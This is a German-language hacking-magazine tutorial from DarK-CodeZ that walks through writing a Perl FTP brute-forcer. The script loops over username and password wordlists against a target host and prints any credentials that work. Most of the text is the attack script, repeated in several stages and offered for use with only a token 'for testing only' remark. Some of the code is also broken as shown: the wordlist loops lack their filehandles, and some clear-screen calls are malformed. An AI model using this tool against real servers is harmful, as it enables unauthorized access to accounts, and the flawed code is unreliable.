[+]Topic: Paper [+]Von: Neo2k8 [+]Return: Paper
#!/usr/bin/perl -w use warnings; use strict; use brain.conf; # Yeahh, this rockZ :P ------------------------- Perl Ftp-Bruter coding written by Neo2k8 4 DarK-CodeZ Mag #2 ------------------------- -------------------- - Wer isn Neo2k8 ? - -------------------- That`s me :D Ihr kennt mich vielleicht von Dark-Codez (S-Mod), oder von anderen Szene Boards. Ich scripte Perl seit ~ 8 Monaten und habe sehr viel Spaß damit. Vorher hatte ich ~ 1Jahr VB6 geproggt, fand es aber dann nicht mehr so toll. Nunja, soviel zu mir. ---------------------- - Was wird erklärt ? - ---------------------- Ich erkläre euch hier wie man in Perl einen einfachen FtpBruter coded. Dieser darf natürlich nur zum Testen verwendet werden , is ja klar ;) Für weitere Codes schaut einfach mal auf DarK-CodeZ.com vorbei. ------------------- - Start Scripting - ------------------- So,fangen wir mal an ;) Als erstes sollten wir natürlich überlegen wie so ein Bruter überhaupt funktioniert.Eigentlich ganz einfach, wenn man sein Brain benutzt und nicht gleich drauflos proggt. Wie funktioniert also ein solcher, indiesem Fall FtpBruter & was benötigen wir? 1. Aufbau einer Verbindung zum FtpServer. Erforderlich sind: - Host (Ip Adresse) - Port (standart: 21) 2. Da wir bei diesem Bruter mit Wordlisten arbeiten wollen, brauchen wir außerdem noch 2 Wordlisten: - Userlist (Username/Nicks etc.) - Passlist (standart Passwörter etc.) 3. Überprüfung der Logindaten (Username / Passwort) - wenn Login korrekt : Username + Passwort ausgeben lassen & bruten stoppen - wenn Login fail : weiter bruten Damit hätten wir die Funktionsweise, welche wir nun in die Tat umsetzen wollen =) #!/usr/bin/perl use strict; use Net::FTP; Wir starten wie jedes PerlScript mit "#!/usr/bin/perl" & fügen 2 Module hinzu. Wozu das Modul "strict" benutzt wird sollte wohl jedem klar sein, ansonsten googled mal danach. Das Modul "Net::FTP" brauchen wir um mit einem FtpServer kommunizieren zukönnen. Funktionen über dieses & andere Module könnt Ihr auf Cpan (http://search.cpan.org/) nachschauen. Danach schreiben wir eine kleine Config, um das benutzen einfacher zu gestalten. #!/usr/bin/perl use strict; use Net::FTP; #======== Config ========# my $host = '192.168.178.63'; my $port = 21; my $userlist = 'ulist.txt'; my $passlist = 'plist.txt'; #========================# Hier kann der Benutzer folgende Dinge konfigurieren: - host : Ip Adresse des FtpServers - port : den Port den der Server benutzt (standart : 21) - userlist : Pfad zu einer Userliste - passlist : Pfad zu einer Passwortliste Als nächstes müssen wir die Userliste & die Passwortliste öffnen. Danach entfernen wir falls vorhanden den Zeilenumbruch jeder Zeile. Ich kommentiere mal das Script: #!/usr/bin/perl use strict; use Net::FTP; #======== Config ========# my $host = '192.168.178.63'; my $port = 21; my $userlist = 'ulist.txt'; my $passlist = 'plist.txt'; #========================# # Hier öffnen wir die Userlist open (USER,"$userlist") or die "No User_Wordlist found","\n"; # Für jedes Wort in der Userliste wird diese foreach Schleife ausgeführt foreach my $user () { # Falls vorhanden wird hier der Zeilenumbruch jeder Zeile der Userliste entfernt chomp($user); # Hier öffnen wir die Passwortliste open (PASS,"$passlist") or die "No Pass_Wordlist found","\n"; # Für jedes Wort in der Passwortliste wird diese foreach Schleife ausgeführt foreach my $pass () { # Falls vorhanden wird hier der Zeilenumbruch jeder Zeile der Passwortliste entfernt chomp($pass); } } Nun schreiben wir in die 2. foreach schleife: my $ftp = Net::FTP->new("$host",Debug=>0,Port=>$port) or die "Cannot connect to $host","\n"; Hiermit bauen wir eine Verbindung zum FtpServer auf.Wie wir sehen werden die Daten der Config benutzt. Damit wir auch sehen wo unser Bruter gerade ist, lassen wir uns den aktuellen Usernamen & Passwort ausgeben. Dies schreiben wir ebenfalls in die 2. foreach Schleife: system("clear"); # Löscht die Konsole (Linux) system("cls"); # Löscht die Konsole (Windows) print "---------------------------------","\n"; print "Actuelly Username : $user","\n"; print "Actuelly Password : $pass","\n"; print "---------------------------------","\n\n"; Nun sollte unser Script schonmal wie folgt aussehen: #!/usr/bin/perl use strict; use Net::FTP; #======== Config ========# my $host = '192.168.178.63'; my $port = 21; my $userlist = 'ulist.txt'; my $passlist = 'plist.txt'; #========================# open (USER,"$userlist") or die "No User_Wordlist found","\n"; foreach my $user () { chomp($user); open (PASS,"$passlist") or die "No Pass_Wordlist found","\n"; foreach my $pass () { chomp($pass); my $ftp = Net::FTP->new("$host",Debug=>0,Port=>$port) or die "Cannot connect to $host","\n"; system("clear"); system("cls"); print "---------------------------------","\n"; print "Actuelly Username : $user","\n"; print "Actuelly Password : $pass","\n"; print "---------------------------------","\n\n"; } } Da wir natürlich wissen möchten ob die Attacke eventuell schon erfolgreich war, brauchen wir natürlich noch eine Abfrage die prüft, ob der Login korrekt war, oder fehlschlug. Hierzu verwenden wir eine einfache IF Abfrage: if ($ftp->login("$user","$pass")) # wenn Login korrekt gebe Daten aus { system(clear); system(cls); print"-------------------------------","\n"; print"Login for $host cracked ","\n"; print"-------------------------------","\n"; print"Username : $user","\n"; print"Password : $pass","\n"; print"-------------------------------","\n"; $ftp->quit; # Verbindung schließen exit; # Script beenden } $ftp->quit; # wenn Login fail, verbindung schließen Ich würde sagen jeder weiß wo diese Abfrage hinkommt oder ? :P OK,ok. Für die b00ns, es kommt natürlich wieder in die 2. foreach Schleife =D Nun schließen wir noch die beiden Wortlisten: Nach der 2. foreach Schleife schreiben wir also "close(PASS);" . Und ganz am ende des Scripts "close(USER);" . Hier nochmal das "komplette Script": --------------------------------------------------------------------------- #!/usr/bin/perl use strict; use Net::FTP; #======== Config ========# my $host = '192.168.178.63'; my $port = 21; my $userlist = 'ulist.txt'; my $passlist = 'plist.txt'; #========================# open (USER,"$userlist") or die "No User_Wordlist found","\n"; foreach my $user () { chomp($user); open (PASS,"$passlist") or die "No Pass_Wordlist found","\n"; foreach my $pass () { chomp($pass); my $ftp = Net::FTP->new("$host",Debug=>0,Port=>$port) or die "Cannot connect to $host","\n"; system("clear"); system("cls"); print "---------------------------------","\n"; print "Actuelly Username : $user","\n"; print "Actuelly Password : $pass","\n"; print "---------------------------------","\n\n"; if ($ftp->login("$user","$pass")) { system(clear); system(cls); print"-------------------------------","\n"; print"Login for $host cracked ","\n"; print"-------------------------------","\n"; print"Username : $user","\n"; print"Password : $pass","\n"; print"-------------------------------","\n"; $ftp->quit; exit; } $ftp->quit; } # foreach pass ends close(PASS); } # foreach user ends close(USER); --------------------------------------------------------------------------- So, das wars eigentlich schon, ist doch nicht schwer oder ? GreeZ an : Sph1nX, Perforin ,Rayden, ringwrath-4, Deliruz, Zer0day und die Members =) © Paper written by Neo2k8 | 4 DarK-CodeZ.com